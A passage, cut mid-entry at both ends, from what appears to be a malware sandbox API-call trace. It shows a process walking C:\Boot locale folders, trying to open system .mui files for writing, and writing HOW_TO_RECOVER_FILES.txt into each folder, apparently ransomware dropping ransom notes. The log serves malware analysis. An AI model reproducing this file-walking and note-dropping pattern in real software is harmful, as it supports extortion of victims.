ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0070.514] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0070.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.514] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hu-HU", lpFilePart=0x0) returned 0xd [0070.514] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0070.515] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.515] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0070.515] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0070.515] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0070.515] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0070.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.515] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hu-HU\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0070.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0070.516] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x3115138 | out: lpFileInformation=0x3115138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360)) returned 1 [0070.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0070.516] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hu-HU\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0070.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0070.516] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0070.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0070.519] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hu-HU\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0070.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0070.519] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x3115808 | out: lpFileInformation=0x3115808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398)) returned 1 [0070.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0070.519] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hu-HU\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0070.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0070.519] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0070.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0070.521] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hu-HU\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0070.521] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0070.521] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\hu-hu\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b0 [0070.603] GetFileType (hFile=0x6b0) returned 0x1 [0070.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0070.603] GetFileType (hFile=0x6b0) returned 0x1 [0070.604] WriteFile (in: hFile=0x6b0, lpBuffer=0x31f6f40*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x31f6f40*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0070.605] CloseHandle (hObject=0x6b0) returned 1 [0070.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.605] GetFullPathNameW (in: lpFileName="C:\\Boot\\it-IT", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\it-IT", lpFilePart=0x0) returned 0xd [0070.605] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0070.605] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.605] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0070.606] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0070.606] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0070.606] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0070.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.606] GetFullPathNameW (in: lpFileName="C:\\Boot\\it-IT", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\it-IT", lpFilePart=0x0) returned 0xd [0070.606] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0070.606] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.606] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0070.607] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0070.607] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0070.607] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0070.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.607] GetFullPathNameW (in: lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\it-IT\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0070.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0070.607] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x3205b98 | out: lpFileInformation=0x3205b98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58)) returned 1 [0070.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0070.607] GetFullPathNameW (in: lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\it-IT\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0070.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0070.608] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0070.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0070.610] GetFullPathNameW (in: lpFileName="C:\\Boot\\it-IT\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\it-IT\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0070.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0070.610] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x3206248 | out: lpFileInformation=0x3206248*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0)) returned 1 [0070.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0070.610] GetFullPathNameW (in: lpFileName="C:\\Boot\\it-IT\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\it-IT\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0070.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0070.610] CreateFileW (lpFileName="C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0070.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0070.613] GetFullPathNameW (in: lpFileName="C:\\Boot\\it-IT\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\it-IT\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0070.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0070.613] CreateFileW (lpFileName="C:\\Boot\\it-IT\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\it-it\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b0 [0070.615] GetFileType (hFile=0x6b0) returned 0x1 [0070.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0070.615] GetFileType (hFile=0x6b0) returned 0x1 [0070.615] WriteFile (in: hFile=0x6b0, lpBuffer=0x3209da8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x3209da8*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0070.616] CloseHandle (hObject=0x6b0) returned 1 [0070.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.617] GetFullPathNameW (in: lpFileName="C:\\Boot\\ja-JP", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ja-JP", lpFilePart=0x0) returned 0xd [0070.617] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0070.617] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.617] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0070.617] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0070.618] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0070.618] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0070.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.618] GetFullPathNameW (in: lpFileName="C:\\Boot\\ja-JP", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ja-JP", lpFilePart=0x0) returned 0xd [0070.618] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0070.618] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.618] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0070.618] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0070.619] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: 